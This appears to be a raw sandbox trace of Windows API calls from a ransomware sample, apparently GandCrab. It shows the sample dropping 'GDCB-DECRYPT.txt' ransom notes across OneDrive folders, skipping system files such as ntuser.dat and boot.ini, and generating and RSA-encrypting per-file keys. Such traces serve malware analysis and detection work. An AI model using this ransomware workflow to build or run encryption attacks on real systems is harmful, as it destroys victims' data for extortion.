1 [0171.930] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.930] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.930] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.930] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\en\\\\GDCB-DECRYPT.txt") returned 277 [0171.930] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\en\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\en\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.930] GetLastError () returned 0x3 [0171.930] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.930] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.930] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.930] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.930] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\en-gb\\\\GDCB-DECRYPT.txt") returned 280 [0171.930] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\en-gb\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\en-gb\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.930] GetLastError () returned 0x3 [0171.930] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Error.png") returned 266 [0171.930] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Error.png") returned 266 [0171.930] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Error.png") returned 266 [0171.930] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Error.png") returned 266 [0171.930] lstrcmpiW (lpString1="Error.png", lpString2="desktop.ini") returned 1 [0171.930] lstrcmpiW (lpString1="Error.png", lpString2="autorun.inf") returned 1 [0171.930] lstrcmpiW (lpString1="Error.png", lpString2="ntuser.dat") returned -1 [0171.930] lstrcmpiW (lpString1="Error.png", lpString2="iconcache.db") returned -1 [0171.930] lstrcmpiW (lpString1="Error.png", lpString2="bootsect.bak") returned 1 [0171.930] lstrcmpiW (lpString1="Error.png", lpString2="boot.ini") returned 1 [0171.930] lstrcmpiW (lpString1="Error.png", lpString2="ntuser.dat.log") returned -1 [0171.930] lstrcmpiW (lpString1="Error.png", lpString2="thumbs.db") returned -1 [0171.931] lstrcmpiW (lpString1="Error.png", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.931] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Error.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\error.png")) returned 0xffffffff [0171.931] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Error.png", dwFileAttributes=0xfffffffe) returned 0 [0171.931] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0171.931] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.931] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.931] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.931] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0171.932] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0171.932] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.932] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.932] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.932] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.932] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.935] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636358) returned 1 [0171.935] CryptGetKeyParam (in: hKey=0x636358, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.935] CryptEncrypt (in: hKey=0x636358, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2fd0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2fd0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.935] GetLastError () returned 0x0 [0171.935] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.935] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.937] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635fd8) returned 1 [0171.937] CryptGetKeyParam (in: hKey=0x635fd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.937] CryptEncrypt (in: hKey=0x635fd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2fe0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2fe0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.937] GetLastError () returned 0x0 [0171.937] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.937] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Error.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\error.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.938] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ErrorPage.html") returned 271 [0171.938] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ErrorPage.html") returned 271 [0171.938] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ErrorPage.html") returned 271 [0171.938] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ErrorPage.html") returned 271 [0171.938] lstrcmpiW (lpString1="ErrorPage.html", lpString2="desktop.ini") returned 1 [0171.938] lstrcmpiW (lpString1="ErrorPage.html", lpString2="autorun.inf") returned 1 [0171.938] lstrcmpiW (lpString1="ErrorPage.html", lpString2="ntuser.dat") returned -1 [0171.938] lstrcmpiW (lpString1="ErrorPage.html", lpString2="iconcache.db") returned -1 [0171.938] lstrcmpiW (lpString1="ErrorPage.html", lpString2="bootsect.bak") returned 1 [0171.938] lstrcmpiW (lpString1="ErrorPage.html", lpString2="boot.ini") returned 1 [0171.938] lstrcmpiW (lpString1="ErrorPage.html", lpString2="ntuser.dat.log") returned -1 [0171.938] lstrcmpiW (lpString1="ErrorPage.html", lpString2="thumbs.db") returned -1 [0171.938] lstrcmpiW (lpString1="ErrorPage.html", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.938] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ErrorPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\errorpage.html")) returned 0xffffffff [0171.938] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ErrorPage.html", dwFileAttributes=0xfffffffe) returned 0 [0171.938] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.938] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.939] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.939] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.939] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.939] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.939] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.939] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.939] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.939] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.940] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.941] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636118) returned 1 [0171.941] CryptGetKeyParam (in: hKey=0x636118, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.942] CryptEncrypt (in: hKey=0x636118, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ff0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2ff0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.942] GetLastError () returned 0x0 [0171.942] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.942] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.944] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636018) returned 1 [0171.944] CryptGetKeyParam (in: hKey=0x636018, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.944] CryptEncrypt (in: hKey=0x636018, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3000000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3000000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.944] GetLastError () returned 0x0 [0171.944] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.944] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ErrorPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\errorpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.944] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.944] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.944] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.944] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.944] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\es\\\\GDCB-DECRYPT.txt") returned 277 [0171.944] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\es\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\es\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.944] GetLastError () returned 0x3 [0171.944] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.944] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.944] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.944] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.945] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\et\\\\GDCB-DECRYPT.txt") returned 277 [0171.945] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\et\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\et\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.945] GetLastError () returned 0x3 [0171.945] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ETWlog.dll") returned 267 [0171.945] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ETWlog.dll") returned 267 [0171.945] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.945] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.945] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.945] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.945] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\eu\\\\GDCB-DECRYPT.txt") returned 277 [0171.945] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\eu\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\eu\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.945] GetLastError () returned 0x3 [0171.945] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.945] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.945] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.945] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.945] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\fa\\\\GDCB-DECRYPT.txt") returned 277 [0171.945] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\fa\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\fa\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.945] GetLastError () returned 0x3 [0171.945] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\fabricmdl2.ttf") returned 271 [0171.945] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\fabricmdl2.ttf") returned 271 [0171.945] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.945] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.945] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.945] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.946] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\fi\\\\GDCB-DECRYPT.txt") returned 277 [0171.946] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\fi\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\fi\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.946] GetLastError () returned 0x3 [0171.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.946] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\fil-ph\\\\GDCB-DECRYPT.txt") returned 281 [0171.946] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\fil-ph\\\\GDCB-DECRYPT.txt" (normalized: 